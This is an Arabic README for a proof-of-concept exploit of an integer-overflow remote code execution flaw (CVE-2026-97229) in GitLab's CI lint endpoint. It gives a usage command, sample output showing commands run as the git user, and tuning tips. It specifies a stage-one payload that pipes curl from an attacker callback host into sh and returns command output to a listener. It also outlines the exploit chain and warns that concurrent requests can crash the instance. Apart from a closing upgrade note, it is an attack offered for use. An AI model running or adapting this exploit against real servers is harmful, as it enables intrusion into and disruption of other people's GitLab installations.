
إثبات مفهوم لتنفيذ التعليمات البرمجية عن بُعد (RCE) عبر تجاوز سعة عدد صحيح في GitLab CI lint، خاص بالثغرة CVE-2026-97229، تم التحقق من صحته مقابل صورة 19.4.1 CE amd64 الرسمية
يستغل poc.py الثغرة CVE-2026-97229 من خلال نقطة النهاية العامة CI lint في GitLab. يقوم المهاجم الذي يملك صلاحية الدفع (push) إلى مشروع عام بتزويد تعبير نمطي (regular expression) خاص بـ CI ومسار ذي اسم مُصمَّم خصيصًا. بعد هذا الإعداد، يؤدي إرسال طلب دون بيانات اعتماد إلى تنفيذ الأمر المحدد تحت حساب git في GitLab.
هذا إصدار PoC أولي. لا يزال تحليل الثغرة والإعدادات المتأثرة والمسارات الإضافية القابلة للوصول قيد التنفيذ. تحليل Rapid7 التقني متاح عبر الرابط أدناه.
تُصنّف GitLab هذه المشكلة بدرجة CVSS 10.0. وهي تؤثر على GitLab Community Edition وEnterprise Edition من الإصدار 19.2 قبل 19.2.8، ومن 19.3 قبل 19.3.5، ومن 19.4 قبل 19.4.2.
لم يتم اختبار التخطيط الأصلي المضمّن إلا مقابل صورة gitlab/gitlab-ce:19.4.1-ce.0 الرسمية لنظام Linux amd64:
gitlab/gitlab-ce@sha256:9b33b45b9f42d176bada85ee5ecb81ddab7e506c435f44cd582206e284b2809c
GET /api/v4/projects/:id/ci/lint لخطوة التسليم.19.4.1 المزوّد. تحتاج البُنى الأخرى المتأثرة إلى pcode وإزاحات libruby معدّلة.--cmd غير المقيّد وإرجاع المخرجات.تتطلب السلسلة صلاحية كتابة على المشروع. لا يحمل طلب التسليم اللاحق الخاص بها أي رمز (token) أو ملف تعريف ارتباط (cookie) أو ترويسة تفويض (authorization header)؛ إذ يدفع عنوان URL للاستنساخ الموثّق فرع الحمولة الخاص بالمهاجم.
استخدم Python 3.9 أو أحدث وعميل Git. لا يملك السكربت أي تبعيات Python خارجية.
$ python3 poc.py https://g.example 123 \
--git-url 'https://oauth2:[email protected]/attacker/public-poc.git' \
--callback-url cb.ex:8000 \
--cmd 'uname -a && id'
[*] deployed attacker ref 69fe2478c446ab17afe4c150; executing: uname -a && id
[*] delivery GET https://g.example/api/v4/projects/123/ci/lint?content_ref=69fe2478c446ab17afe4c150
[*] target stopped responding after delivery: HTTP Error 502: Bad Gateway
[uname output omitted]
uid=998(git) gid=998(git) groups=998(git)
يستمع المستمع الافتراضي إلى 0.0.0.0:8000. استخدم --listen-host أو --listen-port عندما يختلف عنوان الربط المحلي عن العنوان المُمرَّر إلى --callback-url.
يجب أن تتناسب قيمة الاستدعاء الراجع (callback) مع أمر المرحلة الأولى البالغ 28 بايت. مع curl -s CALLBACK|sh، يمكن أن يكون CALLBACK بحد أقصى 17 بايت UTF-8. عادةً ما يكون اسم DNS قصير أو مُعيد توجيه أو نقطة نفق هو الأسهل.
استخدم --insecure عندما تكون نقطة نهاية GitLab تستخدم شهادة TLS موقعة ذاتيًا. يؤثر هذا الخيار على طلب الفحص (lint)؛ ولا يغيّر من معالجة TLS للاستدعاء الراجع.
ينتهي طلب GET عادةً بـ HTTP 502 بعد الاستدعاء الراجع. يُنفَّذ الحمولة داخل عامل Puma، وينهار ذلك العامل بعد عودة system(). يستبدله Puma تلقائيًا. تعامل مع مخرجات الأوامر المُعادة على أنها نجاح، وليس حالة HTTP.
على الهدف الدقيق، أنتجت السلسلة مخرجات أوامر في 10 من أصل 10 تجارب على عامل نظيف مع تفعيل ASLR. استغرق كل طلب حوالي 12 ثانية. أعاد التعبير النمطي والمسار نفسيهما نتيجة خاطئة دون استدعاء راجع على مُترجم Ruby الرسمي 19.4.2.
قد يؤدي تشغيل هذا ضد هدف بذاكرة أقل إلى التبديل (swapping) أو فشل التخصيص أو إنهاء بسبب نفاد الذاكرة بدلًا من تنفيذ الشيفرة. يمكن لعدة طلبات متزامنة أن تؤثر على نسخة GitLab بأكملها.
.gitlab-ci.yml من content_ref الذي يختاره المهاجم دون بيانات اعتماد بعد إعداد المستودع الموثّق.include.rules.exists.regexp تعبيرًا ويختبره ضد مسارات المستودع التي يتحكم بها المهاجم.{5(?#)7805} إلى {57805} في Onigmo لكنه يتهرب من ماسح التكرار في GitLab.37,151 × 57,805 قيمة INT_MAX، ويلتف إزاحة فرع مُولَّد إلى بايتات خريطة فئة الأحرف.system() في libruby.--cmd، ثم يرسل stdout وstderr مرة أخرى إلى المستمع.اقرأ التحليل التقني لـ CVE-2026-97229 من Rapid7.
قم بالترقية إلى GitLab 19.2.8 أو 19.3.5 أو 19.4.2 أو أي إصدار مدعوم لاحق. راجع إصدار التصحيح الحرج من GitLab للحصول على إرشادات النشر.